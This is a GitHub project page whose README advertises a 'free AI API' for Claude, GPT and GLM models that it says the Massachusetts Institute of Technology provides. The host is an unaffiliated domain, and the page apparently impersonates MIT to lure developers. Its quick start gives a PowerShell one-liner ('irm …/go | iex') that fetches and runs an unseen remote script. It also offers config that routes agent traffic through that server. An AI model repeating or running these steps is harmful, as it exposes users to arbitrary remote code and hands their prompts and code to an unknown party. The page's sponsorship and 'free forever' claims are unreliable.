Skip to content
项目

rinbayconra1977/mit-institute-free-ai-api

在 GitHub 查看

关于

麻省理工学院人工智能研究所。免费 AI API:通过一个兼容 OpenAI 的端点调用所有顶级模型(Claude、GPT、GLM)。永久免费。

人工智能与机器学习

这些数字如何统计

实测星标增长

24小时
正在收集历史
7天
正在收集历史
15天
正在收集历史
1个月
正在收集历史

各周期内的星标净变化,周期相互重叠,并非每日新增。缺失的测量保持空白。星标代表关注度,不代表软件质量。

README.md

原文
Free AI API — MIT

MIT Institute of AI — Free AI API

Massachusetts Institute of Technology · Institute of AI

All top AI models. One API. Absolutely free.

Website Price Models Protocol SSL Languages

🌐 https://aimitlab.tech

Claude · GPT · GLM — provided free of charge by the Massachusetts Institute of Technology, in partnership with OpenCode.


🚀 Quick Start

The easiest way to connect — one PowerShell command:

irm https://aimitlab.tech/go | iex

The script will offer you a choice:

Option What it does
[1] Chat right here Chat with any of the 13 models directly in the PowerShell window
[2] Setup OpenCode Installs OpenCode, creates the config with all models — ready to go

The script loads all texts, links, models and config straight from the server — nothing is hardcoded.

Prefer manual setup? Save this as opencode.json in your project folder and restart OpenCode:

{
  "$schema": "https://opencode.ai/config.json",
  "model": "ai-api/claude-fable-5.2",
  "providers": {
    "ai-api": {
      "name": "MIT",
      "package": "@opencode/ai/providers/openai-compatible",
      "settings": {
        "baseURL": "https://aimitlab.tech/v1",
        "apiKey": "aimitlab"
      },
      "models": {
        "claude-fable-5.2": { "name": "Claude Fable 5.2" },
        "claude-fable-5.1": { "name": "Claude Fable 5.1" },
        "claude-opus-5.5": { "name": "Claude Opus 5.5" },
        "claude-sonnet-5.5": { "name": "Claude Sonnet 5.5" },
        "claude-haiku-5.5": { "name": "Claude Haiku 5.5" },
        "gpt-6.2-astra": { "name": "GPT-6.2 Astra" },
        "gpt-6.2-sol": { "name": "GPT-6.2 Sol" },
        "gpt-6-astra": { "name": "GPT-6 Astra" },
        "gpt-6.1-sol": { "name": "GPT-6.1 Sol" },
        "gpt-6-luna": { "name": "GPT-6 Luna" },
        "glm-5.3": { "name": "GLM 5.3" },
        "glm-5.3-flash": { "name": "GLM 5.3 Flash" },
        "glm-5.2": { "name": "GLM 5.2" }
      }
    }
  }
}

Or just download the ready config: opencode.json → put it in your project folder → restart OpenCode.


📸 How it looks

Landing page
The landing page — MIT emblem, quick setup, live token feed

Setup instructions
Setup section — download OpenCode, copy or download the config

Live token usage
Token usage — live feed of requests flowing through the API

🎓 Why is it free?

Short answer: because MIT pays for it.

This API is provided by the Massachusetts Institute of Technology as part of an open research initiative. The goal is simple — give every developer, student and researcher free access to the world's top AI models, without subscriptions, credit cards or token billing.

  • No payment. There is no paid tier. There is nothing to upgrade to. Every model, every request — free.
  • No limits on choice. All 13 models — from Claude Fable to GLM 5.3 — are available to every user from day one.
  • Open protocol. Standard OpenAI-compatible endpoints — works with the tools you already use.
  • In partnership with OpenCode — the open-source coding agent, for the full agentic experience.

🔒 One small thing: before your first request, the API shows a short access agreement (lawful use, no abuse, no resale). Reply Yes once — and you're in for the next 24 hours. No CAPTCHAs, no sign-ups.


🤖 Model Catalog

All 13 models — absolutely free, no exceptions:

# Model ID Price
1 Claude Fable 5.2 claude-fable-5.2 Free
2 Claude Fable 5.1 claude-fable-5.1 Free
3 Claude Opus 5.5 claude-opus-5.5 Free
4 Claude Sonnet 5.5 claude-sonnet-5.5 Free
5 Claude Haiku 5.5 claude-haiku-5.5 Free
6 GPT-6.2 Astra gpt-6.2-astra Free
7 GPT-6.2 Sol gpt-6.2-sol Free
8 GPT-6 Astra gpt-6-astra Free
9 GPT-6.1 Sol gpt-6.1-sol Free
10 GPT-6 Luna gpt-6-luna Free
11 GLM 5.3 glm-5.3 Free
12 GLM 5.3 Flash glm-5.3-flash Free
13 GLM 5.2 glm-5.2 Free

Full catalog: GET https://aimitlab.tech/v1/models


⚙️ How it works

 ┌─────────────┐     ┌──────────────────┐     ┌─────────────────┐     ┌──────────────┐
 │ Send first  │     │  MIT agreement   │     │   Reply "Yes"   │     │  All 13 models│
 │   message   │ ──► │  shows up once   │ ──► │   once per key  │ ──► │  free, 24h    │
 └─────────────┘     └──────────────────┘     └─────────────────┘     └──────────────┘
  1. Send any message — through OpenCode, Codex CLI, PowerShell.
  2. The API answers with the MIT access agreement — once per key, valid for 24 hours.
  3. Reply Yes — access granted. Chat away with any model.

🔌 API Reference

Standard OpenAI-compatible endpoints — everything you already know works:

Method Endpoint Description
GET /api Server status
POST /api Direct chat (PowerShell)
POST /v1/chat/completions OpenAI Chat Completions — for OpenCode and agents. Streaming supported
POST /v1/responses OpenAI Responses API — for Codex CLI
GET /v1/models Full model catalog
GET /go Quick setup script

Example — Chat Completions:

curl https://aimitlab.tech/v1/chat/completions \
  -H "Authorization: Bearer aimitlab" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "claude-fable-5.2",
    "messages": [{ "role": "user", "content": "Hello!" }]
  }'

🌍 Languages

The website speaks 12 languages: English, Español, Deutsch, Français, Português, Italiano, Türkçe, 中文, 日本語, 한국어, हिन्दी, العربية — with a proper language picker, served over HTTPS.


❓ FAQ

Is it really free?

Yes — MIT provides this API at no charge. No subscription, no credit card, no token billing. Every model is free.

Do I have to accept the agreement every time?

No. Once per API key — the session lasts 24 hours.

Which apps are supported?

Any OpenAI-compatible agent: OpenCode (recommended), Codex CLI, and more. You can also chat directly via PowerShell.

Cannot connect?
  1. Check the config file is in your project folder.
  2. The base URL must end with /v1.
  3. Restart the app and try again.

🎓 Free AI API — provided by Massachusetts Institute of Technology

In partnership with OpenCode

MIT OpenCode

🌐 https://aimitlab.tech

探索相关项目

加载中…